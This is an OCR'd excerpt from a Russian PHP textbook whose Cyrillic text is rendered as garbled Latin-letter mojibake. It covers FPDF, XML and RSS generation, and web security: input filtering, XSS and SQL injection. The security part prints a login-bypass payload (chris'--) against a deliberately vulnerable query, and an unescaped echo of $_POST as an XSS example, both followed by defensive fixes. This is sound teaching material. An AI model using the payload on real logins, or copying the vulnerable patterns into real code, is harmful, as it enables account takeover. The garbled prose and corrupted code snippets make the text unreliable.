HOH CUHTaKcuC MeToja cell() cienyomm:

cell(float w [, float h [, string txt [, mixed border
[, intIn [, string align [, int fill [, mixed link]]]]]]])

[TepBbiit mapaMeTp - 3TO HIMPHUHA, 3aTEM CJIEAYeT - BbICOTA SSUEUKH, TPETHH MNa-
paMeTp - 3TO TEKCT, KOTOpbIil OyzeT nmomellleH B siueiiky. [locie Tekcra caeny-
€T rpaHula, KOHTPOJIb HOBOI CTPOKH, MOCJIe - BHIPABHHUBaHUE STYeHKH, 3aTMBKA
u tekcT st HTML-ccpinku. Hanpumep, ecsiv Mbl XOTUM U3MEHUTD NPHBEJIEH-
HbIH BbIllIE PUMEP TaK, YTOObI Y HErO MOsSIBUJIACH MPAHULA, OH ObLJ BHIDOBHEH MO
LEHTPY, BAM HY>KHO H3MEHHUThH BbI30B cell() Tak:

$pdf->cell(90, 10, “Hello Out Therel”, 1, 0, 'C');
Meton cell) mHTEHCMBHO HcnoJsb3yercs npu co3ganuu PDF-nokymeHnToB

c nomoubio FPDF, noatoMy BaM Hy>HO yaeauTb eMy ocoboe BHUMaHue. B 3Toit
rJIaBe Mbl elle MOrOBOPHM O HEM.
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XML (eXtensible Markup Language — paciiupsieMblii si3bIK pa3METKH) - CTaH-
IapTH30BaHHBINA (popMaT naHHBIX. OH BBIMISIUT HEMHOTO MoX0kuM Ha HTML,
UCTONBb3yeT Teru (<example>spope 3toro</example>) M cyumHocTH (&amp).
Ontxaxko, B otanure ot HTML, si3sik XML pa3spaboTaH, 4To6bl yIIPOCTUTD €r0
NPOrpaMMHBIif CHHTAKCHYECKUI pa3bop, 1 MpexycMaTpUBaeT MPaBUia, ONpese-
JISTIONIME, YTO BBl MOXeTe M YTo He MoxkeTe cienaTs B XML-nokymente. XML
ceifyac sIBJISIETCSI CTAaHAAPTHBIM (hOPMATOM MaHHBIX B CaMbIX Pa3HbIX 00/1acTsX —
U3aTebCKOM JIeJie, HH)KeHEPHOM NPOEeKTUPOBaHUH, MeauLiiHe, OH UCITOIb3YeT-
Csl lIS1 yIaJIeHHBIX BbI30BOB IIPOLIEAYP, 6a3 IaHHBIX, 3aKa3aX Ha II0CTaBKY M T.I.

EcTb MHOTO KOHTEKCTOB, B KOTOPBIX Bbl MOXKeTe UCIoab30BaTh XML. I[Tockosb-
Ky XML - 3to o6umit popmaT mepenayd AaHHBIX, MHOTHE IIPOrPaMMbl MOTYT
3KCMOPTHUPOBaTh MHMOPMALIMIO B 3TOT HOPMAT M MOJyYaTh MHGOPMAUUIO 10
pe3yJibTaTaM CMHTaKCH4ecKoro pasbopa (aHanu3za) maHHbix B XML-dopmare,
a Takxe orobpaxatb XML-undopmauuio B HTML-npeacrasaenuu (npeobpa-
30BbIBaTh). B 3T0I ri1aBe Bl y3HaeTe, Kak Ucoab30BaTh XM L-napcep (cHHTaK-
CHYeCcKUH aHanIu3aTop), BcTpoeHHbld B PHP, a Takxe Kak IpUMEHSTb pacuiype-
Hue XSLT nis npeobpazoBanus XML. Mbl Takxke BKpaTiie paCCMOTPHUM CO3/1a-
Hue XML-1okyMeHTOB.

B nocnennee Bpemss XML MHOro ucnosb3yeTcsl B yaJeHHbIX BbI30BaX INpolie-
ayp (XML-RPC). KnueHT xoaupyetr uMst GyHKUMH U 3HAUYEHHUS] NTapaMeTPOB
B XML u ornpasnsiet ux no nporokony HTTP Ha cepsep. CepBep nekonupyet
UM GYHKIIMY ¥ 3HaYeHU s, pelliaeT, 4TO c/ielaTh U BO3BpalllaeT 3HaYyeHHe OTBeTa,
3akoxupoBanHoe B XML. XML-RPC sBasiercsi yno6HbIM crioco60M HHTErpa-
L[UY KOMIIOHEHTOB NTPHJIO>KEHUS], HAIIICAHHBIX HAa PA3IMYHBIX S3bIKAX.

11.1. KpaTtkoe pykosoacTtso no XML

B 6oabimuHcTBe caydaeB XML coctout u3 anementos (nmoxo6uno HTML-Teram),
CyI[HOCTeH U 0OBIYHBIX NaHHbIX. Hanpumep:

<book isbn="1-56592-610-2">
<fitle>Pycckas noaaus</fitle>
<authors>
<author>Anekcangp Mywkun</author>
<author>Muxaun Jlepmontos</author>
<author>®epop Tiotues</author>
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</authors>

</book>

B HTML Mmbl 4acTo MCMOJIb30BaJH OTKPBITHINA Ter 6€3 COOTBETCTBYIOLIETO €MY
3akpbiToro tera. Hanbosee 4acTolii mpuMep 3TOrO - Ter <br>.

B XML 3ro Hegonyctumo. XML tpebyer, yToOb! 17151 KaXA0r0 OTKPHITOrO Tera
ObL1 3aKpbIThIH Ter. [yt TeroB Bposie <br> XML npegocTaBisier Takoii CHHTAK-
cuc: <br />

Terun MOTYT ObITD BJIOXKEHDI, HO HE MOTYT II€EPEKPbIBATHCA. HaanMep, 9TO Aony-
CTHMO!

<book><title>PHP. MonHoe pykosoacTtso u cnpasounmk dyHkumit</title></book>

A BOT cienylolMiA KO HeJOMYCTHM, MOCKOJBKY TerW book U title mepeKkpbl-
BaIOTCS:

<book><title>PHP. MonHoe pykosoacTso u cnpasourmk dyHkumin</book></title>

XML Takxe TpebyeT, 4TOObI JOKYMEHT HAUMHAJICS CO CIYXKeOHON HHCTPYKIIUH,
obo3Hayarolleii ucrnoab3yemyio Bepcuio XML (4, BO3MOXHO, Apyrye Bellu, Ha-
NpMMep, KOAUPOBKY TEKCTa):

<2xml version="1.0" 2>

ITocnennee TpeboBaHue: y npaBuIbHO OPOPMIEHHOrO JOKYMEHTa €CTh TOJbKO
OJIMH KODHEBOH 3JileMeHT (CTOsILIMI Ha BepXHeM ypoBHe uepapxuu). Hanpumep,
cJleyolMi TOKyMEeHT NPaBUIbHO ChOPMUPOBAH:

<2xml version="1.0" 2>

<library>
<title>Nporpammuposarme Ha PHP</title>
<fitle>Nporpammmuposarme Ha Perl</title>
<fitle>Nporpammuposarme Ha C#</title>

</library>

A caenyommit XML-a0kyMeHT cpoOpMHUPOBAH HEXOPOLIO, MIOCKOJbKY Ha Bep-
LIMHE HepapXyUu HaXOAATCst CPa3y TPH dJIeMEHTa:

<2xml version="1.0" 2>

<title>Nporpammuposarue Ha PHP</title>
<title>Mporpammuposarue Ha Perl</title>
<title>Mporpammuposarue na C#</title>

Onpenenextble Terd, aTpuOyThl U cylHOCTH B XM L-10KyMeHTe, a Takxe mpa-
BUJIa, KAK OHH JOJIXKHbI ObITh BIOXKEHBI, ONIPEesIOT CTPYKTYpY AoKyMeHTa. Cy-
IIECTBYET [Ba Ciocoba 3ar1cH 3TOi CTPYKTYPbL: onpedenerue muna 0okymenma
(DTD, Document Type Definition) u cxema (schema). Onpeaenexus tuna ao-
KYMEHTOB Y CXEMBbI UCIIOJIb3YIOTCS AJIsl IPOBEPKU AOKYMEHTa, YTOObI rapaHTH-
POBaTh, YTO IOKYMEHT COOTBETCTBYET NPABUJIAM [IJIs1 CBOErO THUIA JOKYMEHTA.
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BonbumHcTBo XML-10KyMeHTOB He BkioyaloT DTD - B aTux ciyyasix qoKy-
MEHT CYUTAETCs AOIYCTHMBIM, ECJIM OH COAePXHUT aonyctumblii XML-kox. [py-
rue 3a1ai0T DTD kak BHELUIHIOIO CYLITHOCTb CTPOKOIA, coJiepaKalliell UMsI U pacIio-
noxenue (¢aimn umu URL) DTD:

<IDOCTYPE rss PUBLIC 'My DTD Identifier' 'hitp:/ /www.example.com/my.dtd">

Wnoraa yno6Ho unkancyaupoBaTb oaud X ML-mgokymeHT B apyroit. Hanpumep,
y XML-1okyMeHTa, MpeaCcTaBsIONIEroO TOYTOBOE COOOLIEHHE, MOXKET ObITh AJie-
MEHT attachment, KOTOPbIA OKpYy>aeT NpPHUKpenJieHHbIA ¢ain. Ecmu mpuxpe-
nmeHHbld daiin - XML, o sBasercs BnoxenusiM XM L-10kyMeHTOM.

Y10 ecaM y IOKyMEHTa MOYTOBOrO COOOIIEHHUST €CTh 3JIEMEHT body (TeMa co06-
HIeHUs ) U y nipucoeauHeHHoro X ML-daiisia Takxe ecTh 3;1eMeHT body, HO y T0-
CJIeTHETO 3JIeEMEHTa MOJHOCTbIO Apyriue DTD-npaBuia? Jrta npobiema pemaer-
CsI UCTIOJIb30BAaHUEM NPOCTPAHCTB UMeH. [IpoCcTpaHCcTBa UMEH MO3BOJISIOT BaM
kBasuduiupoBatb XML-Tteru, Hanpumep, email:body 1 human:body.

11.2. Cospanue XML-aoKkymeHTOB

Bpl MoxeTte ucnosnbsoats PHP kak ans renepaunu auHamudeckoro HTML,
tak u s redepauuu XML. ITockonbky XML siBasiercst o6uum popmatoM, Ha
PHP BbI MoxeTe reHepupoBaTh XML a5t caMbIX pa3HbIX TPOrpamMM, HalIpUMeD,
UCIOJIBb3YIOLIKX (hOPMBI, 3aNIPOCHI K 6a3e JaHHBIX U MpoY. Tak, OAHUM M3 IPUJIO-
xenuit XML sBasiercst B RSS (Rich Site Summary) - dopmat, ucrnosbayembiit
B HOBOCTHbIX JIeHTax. Bbl MoxeTe uuTaTh MHGOPMAIIMIO HOBOCTHBIX CTaTel U3
6a3bl ganHbix ua HTML u renepupoBatb cBoanbiid X ML-daiin Ha ocHoBaHUM
3TON UHPOPMAIUH.

TenepupoBats XML-noxymenT u3 PHP npenenbho Jyierko. [Ipocto usmenure
MIME-tun nokymMeHTa, UCMob3yst PYHKIUHIO header(), Ha “text/xml”, a 3aTeM BbI-
Bequte XML-Koa ¢ TOMOUIBIO KOHCTPYKIMH echo:

echo '<2xml version="1.0" encoding="1SO-8859-1" 2>';

[Tpumep 11.1 cosmaet RSS-noxyment, ucnonbsyss PHP. RSS-aiin npeacrasis-
et coboit XML-10KyMeHT, coliepKallliii HECKOJIbKO 3JIEMEHTOB channel, KaXKablii
U3 KOTOPbIX COIEPKUT HEKOTOPble HOBOCTHbIE 37IEMEHTbI item. Kariblit a1eMeHT
item MUMeET 3aroJIOBOK, ONMCaHHe U CCbUIKY Ha caMy cTtatbio. Mopmart RSS noa-
Jep>KUBaeT ropa3fo OoJibliie CBOUCTB item, UeM UCIIONb3yeTcs B ipumepe 1.1, HO
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[U1s1 IPOCTOTHI HAaM JOCTaTOYHO U 3TUX TpeX. /{7151 co3nanus camoro XML-kozxa,
kak u s co3ganuss HTML-kona, He TpebyioTcss Kakue-iub0 crielnuasibHble
(pyHKUMH, IPOCTO BBIBOAUM KOJ C TOMOLBIO echo.

Mpumep 11.1. Coznanmue XML-gokymenta  :

<2php
header('Content-Type: text/xml’);
echo “xml version=\"1.0\" encoding=\"utf-8\"" 2>*;

2>

<IDOCTYPE rss PUBLIC '-//Netscape Communications//DTD RSS 0.91//EN"
“http:/ /my.netscape.com/publish/formats/rss-0.91.dtd">

<rss version="0.91">

<channel>

<2php

// 3nementsi XML
$items = array(
array(
'title' => “Yenosex ykycun cobaky”,
link' => “http://www.example.com/dog.php”,
'desc’ => "Kako# upoHuueckuin nosoport!”
);
array(
‘title’ => «MeganumHcknin npopeisl»,
‘link’ => «http:/ /www.example.com/doc.php»,
‘desc’ => «HaigeHo nexapcTso ans meHs!»

);

foreach($items as $item) {
echo “<item>\n";
echo ” <title>{ $item['title’]} </title>\n";
echo ” <link>{ $item['link’] }</link>\n";
echo ” <description>( $item['desc’]} </description>\n";
echo ” <language>ru-ru</language>\n";
echo “</item>\n\n";
)%
</channel>
</rss>

RN AN E NN NN EEEEE NN RSN I N NSNS NS NSRRI RSN NSNS NSRRI N SRR NSNS BOGERE

BblutenpuBeeHHbli ClieHapUii CO34aCT CJleIyIOIUi BbIBO:
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<2xm| version="1.0" encoding="1SO-8859-1" 2>

<IDOCTYPE rss PUBLIC “-//Netscape Communications//DTD RSS 0.91//EN"

“http:/ /my.netscape.com/publish/formats/rss-0.91.dtd">

<rss version="0.91">
<channel>

<item>
<title>Yenosek ykycun cobaky</title>
<link>http:/ /www.example.com/dog.php</link>
<description>Kako# uponuueckuit nosopori</description>
<language>ru-ru</language>

</item>

<item>
<title>MepuumHckuin npopsisl</title>
<link>http:/ /www.example.com/doc.php</link>
<description>Haiigeno nexkapcrso ans mens.</description>
<language>ru-ru</language>

</item>

</channel>

</rss>
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S3sbik PHP sBnsiercss noBosbHO rHOKUM U mpOCThIM. Tak, OIHMM M3 €r0 OCHOB-
HbIX Ha3HauyeHu# Obl1a M octaercs obpaborka maHubix HTML-bopm. U neii-
crButenbHo, PHP cyuwectBenHo ynpouaer ucnonb3oBaHue U 06paboTKy aaH-
HBIX, OTIpaBysieMbix B cieHapuii yepe3 HTML-¢opmy. OnHako npocrora — mey
ob6ooxoocTpsiit. MYHKUKY, MO3BOSOUME BaM ObICTPO MUCATh MPOrPaMMbl Ha
PHP u yno6Ho noay4ats aaHHbie ¢ GopM, 1o CYyTH SIBASIOTCS ABEPbMHU IS TEX,
KTO XOYET B3JIOMATh BAllX CUCTEMBI.

S3bik PHP Henb3st Ha3BaTh Ge3onacHbIM Wi HeGezonacHbIM. Bce 3aBucur ot
€ro npuMeHeHusl, 1 6e30MacHOCTb BalIUX BEO-NPUJIOKEHUH TOJTHOCTHIO 3aBUCHT
OT KoJa, HanucaHHoro BaMu. HanpuMep, ecu Baw cueHapuii oTkpbiBaeT daid,
4ybe UMsI TepelaeTcsl ClieHapHIo B KauecTBe mapaMeTpa ¢OpMbl, U 3TOMY ClLi€Ha-
pHIO MOXHO mepeaath yaaneHHblid URL, abGCOMOTHBINA MyTh MJIM a)Ke OTHOCH-
TeJIbHbIN MyTh (UTO MO3BOJIUT OTKPLITH haiiy 3a mpeaeaMu KaTajaora J0KyMeH-
TOB BeO-cepBepa) — 3TO OYeHb MJ10X0. [Ipu TakoM pelieHNH 3J10yMbILLIEHHUKOM
6e3 ocoboro Tpyzaa 6yaet oTKpbIT Baui (haita maposiei wiu aobas apyrasi Bax-
Hast “”HopMaLHS.

BesonacHocTs Be6-pUJI0KEHHH - MOJIOJAst M pa3BUBaIOLIAsACs AUCUMUIIMHA. OnHa
rj1aBa 1o 6e30MacHOCTH He MOJXXET C/ieJIaTh BaC aCaMH B OTPakeHUH Beb-aTak, Ko-
TOpble, HECOMHEHHO, OYAYT OCYIIECTBJATbCS Ha BallM MMPUJIOKEHUS €CU OHU
GyayT npeacTaBaATh BOOOLIE XOTh KaKOW-TO MHTepec. TeM He MeHee HEKOTOpble
OCHOBHbIE MOMEHTHI BbI 3/1eCh HaH/IETE: IJ1aBa COJAEPXKUT MPAKTHYECKHE PEKOMEH-
JalMH [0 3allMTe BALUKX MPUJIOKEHUH OT HauboJlee pacpoCcTpaHEHHbIX U Omac-
HbIX aTaK. B 3aBeplueHHH IJ1aBbl Bbl Hali[leTe CTUCOK JOMOJHUTEIbHBIX PECYPCOB,
a TaKXKe KpaTKoe pe3ioMe C HECKOJIbKUMH JIOMTOJHUTEIbHBIMU MOCKa3KaMHU.

12.1. OunbTpyem BBOA

[Ipexxae yeM Mbl HAUHEM FOBOPUTh O TEXHUYECKHUX JIETAJISAX 10 obecreyHuo Ges-
OMacCHOCTH CO3[]aBa€EMOT0 BaMU CaiiTa, HY)KHO MOHSATb U YCBOUTb OAHY GyHAA-
MEHTAJbHYIO Bellb: BCs1 HH(GOpPMalUs, He CreHepUPOBaHHAsl B CAMOM IIPHJIOXKe-
HHH, SIBJISETCS MOTEHIMATbHO OMACcHOU. B TOM YHuCJle 3TO OTHOCUTCS K JaHHBIM,
nosydyeHHbiM U3 GopM, ¢aitios 1 6a3 TaHHbIX.

Korzna naHHble CYUMTAIOTCS MOTEHIMATIBHO OMACHBIMH, 3TO HE O3HAYAET, YTO OHU
ob6si3aTesibHO BpeioHOCHbIe. [IpocTo Bbl HE MOXeTe J0BepATb UCTOUHHKY. CooT-



PHP. MonHoe pykoBOACTBO U CNPAaBOYHUK PYHKLUIA

BETCTBEHHO, BbI JI0JDKHBI TIIATEIbHO MPOBEPHUTH JaHHbIE H YOEIUTHCS, YTO OHU
JOMYCTUMBI. JIaHHBII HHCIIEKIMOHHBIN POLIECC HAa3bIBaeTCsl (PUIIBTPALIME, a 1ie-
JIBIO €ro SIBJISIETCS] IPOIYCTUTD B Ballle [TPUJI0KEeHHE TOJbKO JOIYCTHMbIE IaHHBIE.

MoxHo BbIZEJIUTb HECKOJIBKO MOAXO0J0B (bl/IJIpraHI/IPI, paCcCMOTPHUM HECKOJIbKO
JIYYIIUX U3 HHUX!

e UVcnonb3yiite noaxoa 6e0ro cnucka. ITo 03HAYAET, YTO BbI OTOPACHIBae-
Te BCe JaHHbIe, KPOME TeX, KOTOPbIE BbI TOUHO 3HAETE, YTO OHU JOTYCTUMBI.

e Hukoraa He ucnpasisiiiTe HeIOMyCTHMBbIe AaHHble. VicTopusi mokasana,
YTO MOMNBITKHA MCNPABUTh HEJOMYCTHMbIE JaHHbIe YaCTO MPUBOJAST K ys3-
BUMOCTSIM CUCTEMBI.

e lcnosn3yiite coriaieHne MMeH, YTOObI pa3inyaTh OT(UIBTPOBAHHbBIE
Y OTEHL[MABHO ONACHbIE JAHHBIE,

Yro6bl 3aKpeNnUTh 3TH MOHATHS, paccMoTpuM npoctyio HTML-dopmy, paspe-
IIAOLLYIO T0JIb30BATEIO BHIOPATh OJIMH U3 TPEX 1{BETOB:

<form action="process.php” method="POST">
<p>oxanyicra, Bbibepute user:
<select name="color">
<option value="red">kpacHsIit</option>
<option value="green">3enenbin</option>
<option value="blue">cunuii</option>
</select>
<input type="submit” /></p>
</form>

Ha nepBblii B3rIsig HAM HET HUKAKHX OCHOBAaHHWI He A0BEPSITh $_POST['color’]
B process.php. B KOHIlle KOHIIOB, (hopMa OrpaHMYMBAET TO, YTO MOXXET BBECTU
nosib3oBaTesb. OHAKO ONbITHBIE padpaboTurky 3HatoT, yto y HTTP-3anpocos
HeT OTPaHMYEeHUs Ha COAep Kalluecs: B HUX MOJIsI, TO3TOMY MPOBEPKHU CO CTOPO-
HbI KJIMeHTa HUKOra He 6yzeT qoctatouHo. EcTh MHOXeCTBO crioco6oB, ¢ moMo-
1[bI0 KOTOPbBIX BPEIOHOCHbBIE JAHHbIE MOTYT ObITh OTIIPABJIEHBI B Ballle TIPHIOXKe-
HHE U BbI He JIOJDKHBI HUKOMY JI0BEPSITh U (PUJIBTPOBATh Balll BBOJ:

$clean = array();

switch($_POST['color']) {

case 'red":

case 'green":

case 'blue":
$clean['color'] = $_POST['color’;
break;

default:
/* OLUMBKA */
break;
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BellenpuBeeHHblil IpUMep 1EMOHCTPUPYET MPOCTOe coryaiieHnue uMeH. Bol
MHHMILMATH3MpYyeTe MAcCHB C UMeHeM $clean. 3aTeM Bbl NpoBepsieTe Kaxioe
noJie (popMbl U COXpaHsieTe yxe NMPOBEPEHHbIE BBEIEHHbIE JTaHHbIE B 3TOM Mac-
cuBe. B pe3ysibTaTe yMeHbIlIa€TCSI BEPOSITHOCTh MUCIOJIb30BAHUSI CKOMITPOMETH-
POBaHHBIX aHHbIX, IPUHUMAEMbIX 32 OTHUIBTPOBAHHbIE, TOCKOJIbKY Bbl He Oy-
JIeTe COXPaHSTh B 3TOM MacCHBe JaHHbIe, He MPoLIe/lINe TPOBEPKY.

Jlornka GuabrpalMy MOJHOCTHIO 3aBUCUT OT THIIA IPOBEPSIEMbIX JaHHbBIX U YeM
oHa Oyzet cTpoxe, TeM syyuie. Hanpumep, naBaiite paccMoTpum GopMmy peru-
CTpallMy, KOTOpasi MO3BOJIsIeT BBECTH JkeslaeMoe UMs Iosb3oBaTes. MimeHa mo-
ryT ObITh CAMHMH Pa3HbIMH, I03TOMY [IPUBEIEHHDII paHee Criocob He TOMOXKET.
B atom npuMepe syyuie GUIBTPOBATH AaHHBIE HA 0cHOBe ¢opMara. Tak, Bbl MO-
KeTe noTpe6GOBaTh, YTOObI UMsI MTOJIb30BATEJISI COCTOSLIIO TOJBKO U3 ajihaBUTHO-
undpossix cumBoJioB. Toraa Bauia jjoruka puasrpaiinu 6yaeT npuMepHO TaKOM:

$clean = array();

if (ctype_alnum($_POST['username'])) {
$clean['username'] = $_POST['username'];

}

else { .
/* OWMWUBKA */

}

3aech Mbl He YYMTBIBaeM JJIMHY HMEHH MoJib30BaTess. B cienyiomem npume-
pe Mbl MCIOJIb3yeM mb_strlen() 11 onpenesieHUss U NMPOBEPKH JJIMHBI CTPOKH,
YCTaHOBUB HEKOTOPOE MaKCHMMaJIbHOE 3HaYeHHe:

$clean = array();

$length = mb_strlen($_POST['username']);
if (ctype_alnum($_POST['username']) && ($length > 0) && ($length <= 32)) {
$clean['username'] = $_POST['username'];

}

else {
/* OWMWBKA */

}

Hacto cMMBOJIbI, KOTOPblE Bbl XOTHTE HCIOJIb30BaTh, HE MPUHA/IEKAT OJHOU
rpynmne (Hanpumep, andaBUTHO-IIMDPOBOH ), B 3TOM CJIyYae HaM MOMOTYT pery-
JISIpHble BbIpaxkeHUsl. Hanpumep, pacCMOTPUM CJIEAYIOULYIO JIOTHUKY (GUIIbTpa-
MK paMuIHu:

$clean = array();

if (preg_match('/[*A-Za-z \'\-]/", $_POST['last_name'])) {
/* OWMWBKA */
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else {
$clean['last_name'] = $_POST['last_name'];
}

JlaHHbI TPUMED Pa3pellaeT TOJbKO ajhaBUTHbIE CUMBOJIbI, TPO6EJIbI, 1ebUCHI
Y OfIMHAPHbIE KaBbIYKU. ITOT MPUMEP I10 CYyTH JIEMOHCTPUPYET MOAXO] <<6eJ10ro
CIHCKa», O€JIbliA CIIMCOK — 3TO CMUCOK J0MYCTUMBIX CUMBOJIOB.

B uesioM ¢usbTpanus — 3TO NMpolecc, KOTOPbIM rApaHTUPYET LIEJOCTHOCTD Ba-
IIUX JIAHHBIX, MOCTYMAKWKX Ha 06paboTKy B ckpunT. OIHAKO, HECMOTPSI Ha TO,
4TO (hUIIBTPALIUST MOXKET MPEJOTBPATUTH MHOTO YSI3BUMOCTEN BEO- IPUITOKEHHS,
He HY>KHO IT0JIaTaThCs TOJIBKO Ha Hee.

12.2. MeXcaWTOBbIA CKPUNTUHT

MexcaiToBbiii ckpuntuHr (Cross-site scripting, XSS) craHoBuTcst Hau6o-
Jiee 4acCTOi YSI3BUMOCTBIO BEO-MPUJIOKEHUH, @ C POCTOM TOMYJSIPHOCTH Ajax-
TeXHOJIorui, XSS-aTaku CTaHOBATCS 60Jiee COBEPIIEHHBIMU U YaCThIMH.

TepMuH “MeXCaHTOBBIH CKPUNTUHI” CBOMMHU KOPHSIMH yXOIUT K Ha3BaHUIO
OJTHOTO U3 CTaphIX KCIIJIONTOB ¥ HA JAHHBI MOMEHT y>Ke He O4YeHb TOYHO OIU-
cbIBaeT OOJIBIIMHCTBO COBPEMEHHBIX aTak, MMeHyeMbIXx XSS-aTakamu. ITO BbI-
3bIBaeT HEKOTOPBbIii GECTIOPSIIOK B TEDMUHOJIOTHH, TO3TOMY JaBaiiTe pa3bepem-
Cs1, 4TO e 3TO TaKoe.

MexXCalTOBbI CKPUITUHT — THI aTaK Ha BebO-CaiThl, 3aKJIOYAIOLIMICA BO
BHEJPEHUM B BbIIABAaEMYI0 BeO-CTPaHMILy BPEIOHOCHOrO Kojaa (KOTOpbIK Oy-
JIET BBIMOJIHEH HA KOMITbIOTEPE MOJIb30BATEJISI TPH OTKPHITUU UM 3TOW CTPaHU-
1Ibl) ¥ B3aUMOJEMCTBUM 3TOrO KoJa C BeG-CepBEPOM 3JI0YMbIIIIEHHUKA., SIBJIs-
€TCSl Pa3HOBUIHOCTBIO aTaKu «BHeJPeHUE Koja». XSS-ys3BUMOCTSIM Yalle Bce-
ro MOJABEPXEHBI JUHAMUYECKHE Be6H-CalThl, HA KOTOPBIX MOJIb30BATENH BBOAST
B (hOpPMBI KaKHe-TO CBOM JIaHHbIe, 0TOOPaXKaroLIMecs B ajbHeNIIeM Ha (hOpPMH-
PYeMOi1 CKPUIITOM CTPaHMIIE: HAMPUMED, B M0JIe BBOAUTCS KOMMEHTApUH, KO-
TOPBIA MOTOM OTOOpaXXAaeTCA Ha CTPAHHUIly CKPUIITOM rOCTeBOM KHuUrU. Mies
XSS-artaku B 1aHHOM CJIyyae COCTOMT BO BCTPAaUBAaHUU B TEKCT KOMMEHTAPUS
KaKOro-TO BPETOHOCHOTO KO/Ia, KOTOPBINA MCIIOJHUTCS, KOTJa CTPAHUILY OTKPO-
€T JIPYToii MOJIb30BATEIb.

ToBOpst KOPOTKO, Balll KO/ YSI3BUM KaXk/[blii pa3, KOr/a Bbl BBIBOAUTE AaHHbBIE, KO-
TODbIE He IKPAaHUPOBaHbI JI0JIXXHBI 00Pa30M /11 KOHTEKCTa BbiBo/1a'Y. Hanpumep:

echo $_POST['username'];

4 06 3KkpaHMPOBaAHUK Mbl C BaMU FOBOPUIN B OAHOW 13 npeabiaywmx rnae. Takke 06 akpaHMpoBa-
HuUn 6yneTt cka3aHo YyTb HUXE B AAHHOW rNaBe.
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ITO — 3KCTPEMAJIbHBIN MPUMED, IOTOMY 4TO $_POST, OUEBUIHO, HH PUIBTPYeT-
Cs1, HM 9KPaHUPYETCs, a TaHHbIE BBIBOAATCS 6€30 BCsAKOI 00pabOTKH B HCXOAHOM
Bu/e. [l0aTOMY aHHBII TPUMEP AOCTaTOYHO TOYHO IEMOHCTPUPYET YSI3BUMOCTD
(B KauecTBe UMEHH MOJIb30BaTeJsl B IPUBEJIEHHOM NMPHUMEPE MOXKET BBICTYTMATh
110601 BPEIOHOCHHU KOJ).

XSS-araku orpaHH4€eHbI TOJILKO BO3MOXCHOCTSIMH TEXHOJIOTHUH CO CTOPOHBI KJIHEH-
ta. Vicropuyecky, XSS npumeHsuicst, 4ToObI MOAYYHTh cookie XepTBbI U IS 3TO-
0 UCTOJIb30BaJICS TOT PAKT, YTO document.cookie COMEPAKUT ITY MH(POPMALIHIO.

Ytobbl npenoTBpaTUTh XSS, BaM HYXHO MPOCTO COOTBETCTBYIOIIUM 0Opa3oM
3KpaHHUPOBATb Ball BHIBOJ. BepHeMcs k HalleMy MpUMepY U MEPENUIIEM €ro:;

$html = array(

'username' => htmlentities($_POST['username’], ENT_QUOTES, 'UTF-8'),

)

echo $html['username’];
B nononHeHue BbI MOMKHBI Beeraa (pUabTPOBATh MOJydyaeMble CKPHIITOM JIaH-
Hble, ¥ QUIBTPAlMA T0JKHA ObITh HOCTaTOYHO H30ObITOYHOM. Hanpumep, ecin
BbI JIOJKHBI POBEPSITh UMSI M0JIb30BATEsI, YTOOBI YOEIUTHCS, YTO OHO COIEp-
XKHUT TOJBKO ajihaBUTHBIE CUMBOJIBL. Takke mose3Ho GuabTpoBaTh BBIBOA. Eciu
BCe JIeJIaTb TPAMOTHO, TO HUKaKasi XSS-ataka BaM He CTpalIHa.

SOL-unvekuus

BTtopoit Hanbos1ee yacTo BCTpeyamleics yA3BUMOCTbIO BeO-TIPUIIOKEHUHN SABJISA-
etcst SQL-unbekuus. [[aHHas ataka, oyeHb noxoxa XSS-artaky: 370yMbllIeH-
HHUK BCTPaWBaeT BPeNOHOCHBIN kox B SQL-3amnpoc k 6a3e naHHbix. OmacHOCTb
SQL-uHBEKLHH CYyLIeCTBYET, eCJIM BbI HCII0JIb3yeTe HeAKpPaHUPOBaHHbIE TaHHbIE
B BameM SQL-3anpoce (1o aHanoruu ¢ SQL-unbekipei, XSS MoxHO 6b110 Obl
Ha3BaTb HTML-unbekuueir). IIpu aToM ais Tex 6a3 JaHHBIX, KOTOPbIE MOAAED-
JKUBAIOT BBIMOJIHEHHE HECKOJIbKO 3aMPOCOB B OJTHOM MaKeTe, 3JI0YMbILIIEHHUK
MOXET MCIOJHUTD 3aMPOC YAAISIOUIMHA UJIH U3MEHSIOIUHN JaHHBbIE.

Crenyromiuii mpumep reMoHCTpUpyeT SQL-UHbEKIIHIO:

$hash = hash($_POST['password']);
$sql = “SELECT count(*) FROM users

WHERE username ='{$_POST['username']}' AND password ="'{$hash}"";
$result = mysql_query($sql);

[Ipobnema 3axioyaeTcss B TOM, 4TO 6e3 IKPaHHUPOBaHHS username 3HAUYEHHE
JaHHO! mepeMeHHOI MoxkeT u3MeHsTh dopmat SQL-3anpoca. Ilockonbky aTa
ySI3BUMOCTb HaCTOJIbKO YacTa, MHOTHE 3JI0YMBILIJIEHHUKH TBITAIOTCS BOMTH Ha
CaWT, UCTI0JIb3Ys1 MPUMEPHO TaKKe MMEHa MOJIb30BaTeIei:

chris’--
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51 yacTo wyay, 4T0 3TO MOE JIIOOUMOE UM MT0JIb30BATEsI, MOCKOJIbKY OHO MO3BO-
JISIeT TOJMYYUTh JOCTYM K YYEeTHO 3amHuCcH MOJIb30BaTesis chris 6e3 3HaHHS Mma-
poJist 3TOi yuyerHou 3anucu. ITocae untepnossauun SQL-3anpoc 6yaer nMeTh
BUJL:

SELECT count(*)

FROM users

WHERE username = 'chris' --'
AND password ="..."";

[Nockonpky naBa mocienoBaTesabHbix neduca (--) o3HavalT Havano SQL-
KOMMEHTapHs1, 3TOT 3aNPOC UIEHTUYEH CJIey0LIeMY:

SELECT count(*)
FROM users
WHERE username = 'chris’

Eciu kozx, comepaxaiuii 3ToT pparMeHT Koza, nogpa3yMeBaeT YCIeLIHbIH BX0]
B cuCTeMy, Koraa $result He paBeH 0, ata SQL-unbekius nossonuia 6bl ara-
KYIOIlEMY BXOIMTDb B CHCTEMY C Ji000it yyeTHOMU 3anuchio 6e3 HeoHXOMMOCTH
3HaTh N1apoJib.

s 3aumTe! ot SQL-MHBEKINN HYXKHO OISATh UCIOJb30BAaTh 9KPAHHPOBAHHE:

$mysql = array();
$hash = hash($_POST['password']);
$mysql['username'] = mysq_real_escape_string($clean['username']);
$sql = “SELECT count(*) FROM users
WHERE username = '{ $mysq['username']}' AND password = '( $hash}";
$result = mysql_query($sql);

OmHaKo, 3TO TapaHTHPYET TOJBKO, YTO 3KPAHUPOBAHHbIE BaMH JaHHbIEe OyayT
